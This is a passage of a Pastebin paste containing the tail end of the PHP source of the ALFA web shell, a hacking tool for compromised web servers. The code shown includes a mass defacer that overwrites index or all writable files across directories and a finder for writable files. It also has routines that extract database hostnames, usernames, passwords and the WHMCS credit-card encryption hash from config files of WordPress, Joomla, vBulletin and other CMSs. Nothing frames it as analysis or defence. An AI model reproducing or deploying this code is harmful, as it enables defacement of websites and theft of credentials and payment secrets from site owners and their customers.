  6800. <div class="txtfont">
  6801. Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
  6802. String: <input type="text" name="string" value="">
  6803. Dir: <input size="50" type="text" name="dir" value="' . $GLOBALS['cwd'] . '">
  6804. Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
  6805. <input type="submit" name="btn" value=" "></div></form></center><br>';
  6806. $dir = $_POST['alfa2'];
  6807. $string = $_POST['alfa3'];
  6808. $ext = $_POST['alfa5'];
  6809. if (!empty($string) AND !empty($dir) AND $_POST['alfa4'] == '>>') {
  6810. echo __pre();
  6811. Alfa_StrSearcher($dir, $string, $ext, $_POST['alfa6']);
  6812. }
  6813. }
  6814. echo '</div>';
  6815. alfafooter();
  6816. }
  6817. function alfaMassDefacer()
  6818. {
  6819. alfahead();
  6820. echo "<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |</div></p><form onSubmit=\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\" method='post'>";
  6821. echo '<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
  6822. Mass dir: <input size="50" id="target" type="text" name="massdir" value="' . htmlspecialchars($GLOBALS['cwd']) . '">
  6823. DefPage: <input size="50" type="text" name="defpage" value="' . htmlspecialchars($GLOBALS['cwd']) . '"></div> <input type="submit" name="btn" value=" "></center></p>
  6824. </form>';
  6825. $dir = $_POST['alfa1'];
  6826. $defpage = $_POST['alfa2'];
  6827. $method = $_POST['alfa3'];
  6828. $fCurrent = $GLOBALS['__file_path'];
  6829. if ($_POST['alfa4'] == '>>') {
  6830. if (!empty($dir)) {
  6831. if (@is_dir($dir)) {
  6832. if (@is_readable($dir)) {
  6833. if (@is_file($defpage)) {
  6834. if ($dh = @opendir($dir)) {
  6835. echo __pre();
  6836. while (($file = @readdir($dh)) !== false) {
  6837. if ($file == '..' || $file == '.')
  6838. continue;
  6839. $newfile = $dir . $file;
  6840. if ($fCurrent == $newfile)
  6841. continue;
  6842. if (@is_dir($newfile)) {
  6843. Alfa_ReadDir($newfile, $method, $defpage);
  6844. } else {
  6845. if (!@is_writable($newfile))
  6846. continue;
  6847. if (!@is_readable($newfile))
  6848. continue;
  6849. Alfa_Rewriter($newfile, $file, $defpage, $method);
  6850. }
  6851. }
  6852. closedir($dh);
  6853. } else {
  6854. __alert('<font color="red">Error In OpenDir...</font>');
  6855. }
  6856. } else {
  6857. __alert('<font color="red">DefPage File NotFound...</font>');
  6858. }
  6859. } else {
  6860. __alert('<font color="red">Directory is not Readable...</font>');
  6861. }
  6862. } else {
  6863. __alert('<font color="red">Mass Dir is Invalid Dir...</font>');
  6864. }
  6865. } else {
  6866. __alert('<font color="red">Dir is Empty...</font>');
  6867. }
  6868. }
  6869. echo '</div>';
  6870. alfafooter();
  6871. }
  6872. function Alfa_ReadDir($dir, $method = '', $defpage = '')
  6873. {
  6874. if (!@is_readable($dir))
  6875. return false;
  6876. if (@is_dir($dir)) {
  6877. if ($dh = @opendir($dir)) {
  6878. while (($file = readdir($dh)) !== false) {
  6879. if ($file == '..' || $file == '.')
  6880. continue;
  6881. $newfile = $dir . '/' . $file;
  6882. if (@is_readable($newfile) && @is_dir($newfile))
  6883. Alfa_ReadDir($newfile, $method, $defpage);
  6884. if (@is_file($newfile)) {
  6885. if (!@is_readable($newfile))
  6886. continue;
  6887. Alfa_Rewriter($newfile, $file, $defpage, $method);
  6888. }
  6889. }
  6890. closedir($dh);
  6891. }
  6892. }
  6893. }
  6894. function Alfa_Rewriter($dir, $file, $defpage, $m = 'index')
  6895. {
  6896. if (!@is_writable($dir))
  6897. return false;
  6898. if (!@is_readable($dir))
  6899. return false;
  6900. $defpage = @file_get_contents($defpage);
  6901. if ($m == 'index') {
  6902. $indexs = array(
  6903. 'index.php',
  6904. 'index.htm',
  6905. 'index.html',
  6906. 'default.asp',
  6907. 'default.aspx',
  6908. 'index.asp',
  6909. 'index.aspx',
  6910. 'index.js'
  6911. );
  6912. if (in_array(strtolower($file), $indexs)) {
  6913. @file_put_contents($dir, $defpage);
  6914. echo @is_file($dir) ? $dir . "<b><font color='red'>DeFaced...</b></font><br>" : '';
  6915. }
  6916. } elseif ($m == 'all') {
  6917. @file_put_contents($dir, $defpage);
  6918. echo @is_file($dir) ? $dir . " <b><font color='red'>DeFaced...</b></font><br>" : '';
  6919. }
  6920. }
  6921. function alfaGetDisFunc()
  6922. {
  6923. alfahead();
  6924. echo '<div class="header">';
  6925. $disfun = @ini_get('disable_functions');
  6926. $s = explode(',', $disfun);
  6927. $f = array_unique($s);
  6928. echo '<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>';
  6929. $i = 1;
  6930. foreach ($f as $s) {
  6931. $s = trim($s);
  6932. if (function_exists($s) || !is_callable($s))
  6933. continue;
  6934. echo '<tr><td align="center" style="background-color: black;">' . $i . '</td>';
  6935. echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.' . str_replace('_', '-', $s) . '.php"><span class="disable_functions"><b>' . $s . '</b></span></a></td>';
  6936. $i++;
  6937. }
  6938. echo '</table></center>';
  6939. echo '</div>';
  6940. alfafooter();
  6941. }
  6942. function Alfa_Create_A_Tag($action, $vals)
  6943. {
  6944. $nulls = array();
  6945. foreach ($vals as $key => $val) {
  6946. echo '<a href=javascript:void(0) onclick="g(\'' . $action . '\',';
  6947. for ($i = 1; $i <= $val[1] - 1; $i++)
  6948. $nulls[] = 'null';
  6949. $f = implode(',', $nulls);
  6950. echo $f . ',\'' . $val[0] . '\');return false;">| ' . $key . ' | </a>';
  6951. unset($nulls);
  6952. }
  6953. }
  6954. function Alfa_Searcher($dir, $ext, $method)
  6955. {
  6956. if (@is_readable($dir)) {
  6957. if ($method == 'all')
  6958. $ext = '*';
  6959. if ($method == 'dirs')
  6960. $ext = '*';
  6961. $globFiles = @glob("$dir/*.$ext");
  6962. $globDirs = @glob("$dir/*", GLOB_ONLYDIR);
  6963. $blacklist = array();
  6964. foreach ($globDirs as $dir) {
  6965. if (!@is_readable($dir))
  6966. continue;
  6967. @Alfa_Searcher($dir, $ext, $method);
  6968. }
  6969. switch ($method) {
  6970. case "files":
  6971. foreach ($globFiles as $file) {
  6972. if (@is_writable($file)) {
  6973. echo "$file<br>";
  6974. }
  6975. }
  6976. break;
  6977. case "dirs":
  6978. foreach ($globFiles as $file) {
  6979. if (@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)) {
  6980. echo dirname($file) . '<br>';
  6981. $blacklist[] = dirname($file);
  6982. }
  6983. }
  6984. break;
  6985. case "all":
  6986. foreach ($globFiles as $file) {
  6987. echo $file . '<br>';
  6988. }
  6989. break;
  6990. }
  6991. unset($blacklist);
  6992. }
  6993. }
  6994. function AlfaiFrameCreator($f, $width = '100%', $height = '600px')
  6995. {
  6996. return ('<iframe src="' . $f . '" width="' . $width . '" height="' . $height . '" frameborder="0"></iframe>');
  6997. }
  6998. class AlfaCURL
  6999. {
  7000. public $headers;
  7001. public $user_agent;
  7002. public $compression;
  7003. public $cookie_file;
  7004. public $proxy;
  7005. public $path;
  7006. public $ssl = false;
  7007. public $curl_status = true;
  7008. function __construct($cookies = false, $compression = 'gzip', $proxy = '')
  7009. {
  7010. if (!extension_loaded('curl')) {
  7011. $curl_status = false;
  7012. return false;
  7013. }
  7014. $this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
  7015. $this->headers[] = 'Connection: Keep-Alive';
  7016. $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
  7017. $this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
  7018. $this->path = ALFA_TEMPDIR . '/Alfa_cookies.txt';
  7019. $this->compression = $compression;
  7020. $this->proxy = $proxy;
  7021. $this->cookies = $cookies;
  7022. if ($this->cookies)
  7023. $this->cookie($this->path);
  7024. }
  7025. function cookie($cookie_file)
  7026. {
  7027. if (_alfa_file_exists($cookie_file, false)) {
  7028. $this->cookie_file = $cookie_file;
  7029. } else {
  7030. @fopen($cookie_file, 'w') or die($this->error('The cookie file could not be opened.'));
  7031. $this->cookie_file = $cookie_file;
  7032. @fclose($this->cookie_file);
  7033. }
  7034. }
  7035. function Send($url, $method = "get", $data = "")
  7036. {
  7037. if (!$this->curl_status) {
  7038. return false;
  7039. }
  7040. $process = curl_init($url);
  7041. curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
  7042. curl_setopt($process, CURLOPT_HEADER, 0);
  7043. curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
  7044. curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
  7045. curl_setopt($process, CURLOPT_ENCODING, $this->compression);
  7046. curl_setopt($process, CURLOPT_TIMEOUT, 30);
  7047. if ($this->ssl) {
  7048. curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false);
  7049. curl_setopt($process, CURLOPT_SSL_VERIFYHOST, false);
  7050. }
  7051. if ($this->cookies) {
  7052. curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
  7053. curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
  7054. }
  7055. if ($this->proxy) {
  7056. curl_setopt($process, CURLOPT_PROXY, $this->proxy);
  7057. }
  7058. if ($method == 'post') {
  7059. curl_setopt($process, CURLOPT_POSTFIELDS, $data);
  7060. curl_setopt($process, CURLOPT_POST, 1);
  7061. curl_setopt($process, CURLOPT_HTTPHEADER, array(
  7062. 'Content-Type: application/x-www-form-urlencoded'
  7063. ));
  7064. }
  7065. $return = curl_exec($process);
  7066. curl_close($process);
  7067. return $return;
  7068. }
  7069. function error($error)
  7070. {
  7071. echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
  7072. die;
  7073. }
  7074. }
  7075. function getConfigHtml($cms)
  7076. {
  7077. $content = '';
  7078. $cms_array = array(
  7079. "wp" => "WordPress",
  7080. "vb" => "vBulletin",
  7081. "whmcs" => "Whmcs",
  7082. "joomla" => "Joomla",
  7083. "phpnuke" => "PHPNuke",
  7084. "phpbb" => "PHPBB",
  7085. "mybb" => "MyBB",
  7086. "drupal" => "Drupal",
  7087. "smf" => "SMF"
  7088. );
  7089. $content .= "<form onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value);return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
  7090. foreach ($cms_array as $key => $val) {
  7091. $content .= "<option value='{$key}' " . ($key == $cms ? 'selected=selected' : '') . ">{$val}</option>";
  7092. }
  7093. $content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='" . $_SERVER['DOCUMENT_ROOT'] . "/' size='30' /> <button class='button'>GetConfig</button>";
  7094. $content .= "</form>";
  7095. return $content;
  7096. }
  7097. function alfaGetConfig()
  7098. {
  7099. $cms = $_POST['alfa1'];
  7100. $path = trim($_POST['alfa2']);
  7101. $config = array(
  7102. 'wp' => array(
  7103. 'file' => '/wp-config.php',
  7104. 'host' => array(
  7105. "/define\('DB_HOST',(\s+)(?:'|\")(.*?)(?:'|\")\);/",
  7106. 2
  7107. ),
  7108. 'dbname' => array(
  7109. "/define\('DB_NAME',(\s+)(?:'|\")(.*?)(?:'|\")\);/",
  7110. 2
  7111. ),
  7112. 'dbuser' => array(
  7113. "/define\('DB_USER',(\s+)(?:'|\")(.*?)(?:'|\")\);/",
  7114. 2
  7115. ),
  7116. 'dbpw' => array(
  7117. "/define\('DB_PASSWORD',(\s+)(?:'|\")(.*?)(?:'|\")\);/",
  7118. 2
  7119. ),
  7120. 'prefix' => array(
  7121. "/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7122. 3
  7123. )
  7124. ),
  7125. 'drupal' => array(
  7126. 'file' => '/config.php',
  7127. 'host' => array(
  7128. "/define\('DB_HOSTNAME',(\s+)(?:'|\")(.*?)(?:'|\")\);/",
  7129. 2
  7130. ),
  7131. 'dbname' => array(
  7132. "/define\('DB_DATABASE',(\s+)(?:'|\")(.*?)(?:'|\")\);/",
  7133. 2
  7134. ),
  7135. 'dbuser' => array(
  7136. "/define\('DB_USERNAME',(\s+)(?:'|\")(.*?)(?:'|\")\);/",
  7137. 2
  7138. ),
  7139. 'dbpw' => array(
  7140. "/define\('DB_PASSWORD',(\s+)(?:'|\")(.*?)(?:'|\")\);/",
  7141. 2
  7142. ),
  7143. 'prefix' => array(
  7144. "/define\('DB_PREFIX',(\s+)(?:'|\")(.*?)(?:'|\")\);/",
  7145. 2
  7146. )
  7147. ),
  7148. 'vb' => array(
  7149. 'file' => '/includes/config.php',
  7150. 'host' => array(
  7151. "/config\['MasterServer'\]\['servername'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7152. 3
  7153. ),
  7154. 'dbuser' => array(
  7155. "/config\['MasterServer'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7156. 3
  7157. ),
  7158. 'dbname' => array(
  7159. "/config\['Database'\]\['dbname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7160. 3
  7161. ),
  7162. 'dbpw' => array(
  7163. "/config\['MasterServer'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7164. 3
  7165. ),
  7166. 'prefix' => array(
  7167. "/config\['Database'\]\['tableprefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7168. 3
  7169. )
  7170. ),
  7171. 'phpnuke' => array(
  7172. 'file' => '/config.php',
  7173. 'host' => array(
  7174. '/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',
  7175. 3
  7176. ),
  7177. 'dbname' => array(
  7178. '/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',
  7179. 3
  7180. ),
  7181. 'dbuser' => array(
  7182. '/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',
  7183. 3
  7184. ),
  7185. 'dbpw' => array(
  7186. '/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',
  7187. 3
  7188. ),
  7189. 'prefix' => array(
  7190. '/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',
  7191. 3
  7192. )
  7193. ),
  7194. 'smf' => array(
  7195. 'file' => '/Settings.php',
  7196. 'host' => array(
  7197. "/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7198. 3
  7199. ),
  7200. 'dbname' => array(
  7201. "/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7202. 3
  7203. ),
  7204. 'dbuser' => array(
  7205. "/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7206. 3
  7207. ),
  7208. 'dbpw' => array(
  7209. "/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7210. 3
  7211. ),
  7212. 'prefix' => array(
  7213. "/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7214. 3
  7215. )
  7216. ),
  7217. 'whmcs' => array(
  7218. 'file' => '/configuration.php',
  7219. 'host' => array(
  7220. "/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7221. 3
  7222. ),
  7223. 'dbname' => array(
  7224. "/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7225. 3
  7226. ),
  7227. 'dbuser' => array(
  7228. "/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7229. 3
  7230. ),
  7231. 'dbpw' => array(
  7232. "/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7233. 3
  7234. ),
  7235. 'cc_encryption_hash' => array(
  7236. "/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7237. 3
  7238. )
  7239. ),
  7240. 'joomla' => array(
  7241. 'file' => '/configuration.php',
  7242. 'host' => array(
  7243. "/\\\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7244. 3
  7245. ),
  7246. 'dbname' => array(
  7247. "/\\\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7248. 3
  7249. ),
  7250. 'dbuser' => array(
  7251. "/\\\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7252. 3
  7253. ),
  7254. 'dbpw' => array(
  7255. "/\\\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7256. 3
  7257. ),
  7258. 'prefix' => array(
  7259. "/\\\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7260. 3
  7261. )
  7262. ),
  7263. 'phpbb' => array(
  7264. 'file' => '/config.php',
  7265. 'host' => array(
  7266. "/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7267. 3
  7268. ),
  7269. 'dbname' => array(
  7270. "/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7271. 3
  7272. ),
  7273. 'dbuser' => array(
  7274. "/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7275. 3
  7276. ),
  7277. 'dbpw' => array(
  7278. "/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7279. 3
  7280. ),
  7281. 'prefix' => array(
  7282. "/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7283. 3
  7284. )
  7285. ),
  7286. 'mybb' => array(
  7287. 'file' => '/inc/config.php',
  7288. 'host' => array(
  7289. "/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7290. 3
  7291. ),
  7292. 'dbname' => array(
  7293. "/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7294. 3
  7295. ),
  7296. 'dbuser' => array(
  7297. "/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7298. 3
  7299. ),
  7300. 'dbpw' => array(
  7301. "/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7302. 3
  7303. ),
  7304. 'prefix' => array(
  7305. "/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",
  7306. 3
  7307. )
  7308. )
  7309. );
  7310. $data = array();
  7311. $srch_host = $config[$cms]['host'][0];
  7312. $srch_user = $config[$cms]['dbuser'][0];
  7313. $srch_name = $config[$cms]['dbname'][0];
  7314. $srch_pw = $config[$cms]['dbpw'][0];
  7315. $prefix = $config[$cms]['prefix'][0];
  7316. $file = $config[$cms]['file'];
  7317. $chost = $config[$cms]['host'][1];
  7318. $cuser = $config[$cms]['dbuser'][1];
  7319. $cname = $config[$cms]['dbname'][1];
  7320. $cpw = $config[$cms]['dbpw'][1];
  7321. $cprefix = $config[$cms]['prefix'][1];
  7322. if (@is_dir($path) || _alfa_is_dir($path)) {
  7323. $file = $path . $file;
  7324. } elseif (@is_file($path) || _alfa_is_dir($path, "-e")) {
  7325. $file = $path;
  7326. } else {
  7327. return false;
  7328. }
  7329. $file = __read_file($file);
  7330. if (preg_match($srch_host, $file, $mach)) {
  7331. $data['host'] = $mach[$chost];
  7332. }
  7333. if (preg_match($srch_user, $file, $mach)) {
  7334. $data['user'] = $mach[$cuser];
  7335. }
  7336. if (preg_match($srch_name, $file, $mach)) {
  7337. $data['dbname'] = $mach[$cname];
  7338. }
  7339. if (preg_match($srch_pw, $file, $mach)) {
  7340. $data['password'] = $mach[$cpw];
  7341. }
  7342. if (isset($prefix)) {
  7343. if (preg_match($prefix, $file, $mach)) {
  7344. $data['prefix'] = $mach[$cprefix];
  7345. }
  7346. }
  7347. if ($cms == 'whmcs') {
  7348. if (preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)) {
  7349. $data['cc_encryption_hash'] = $mach[3];
  7350. }
  7351. }
  7352. echo json_encode($data);
  7353. }
  7354. if (empty($_POST['a']))
  7355. if (isset($default_action) && function_exists('alfa' . $default_action))
  7356. $_POST['a'] = $default_action;
  7357. else
  7358. $_POST['a'] = 'FilesMan';
  7359. if (!empty($_POST['a']) && function_exists('alfa' . $_POST['a']))
  7360. call_user_func('alfa' . $_POST['a']);
  7361. exit;
  7362. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!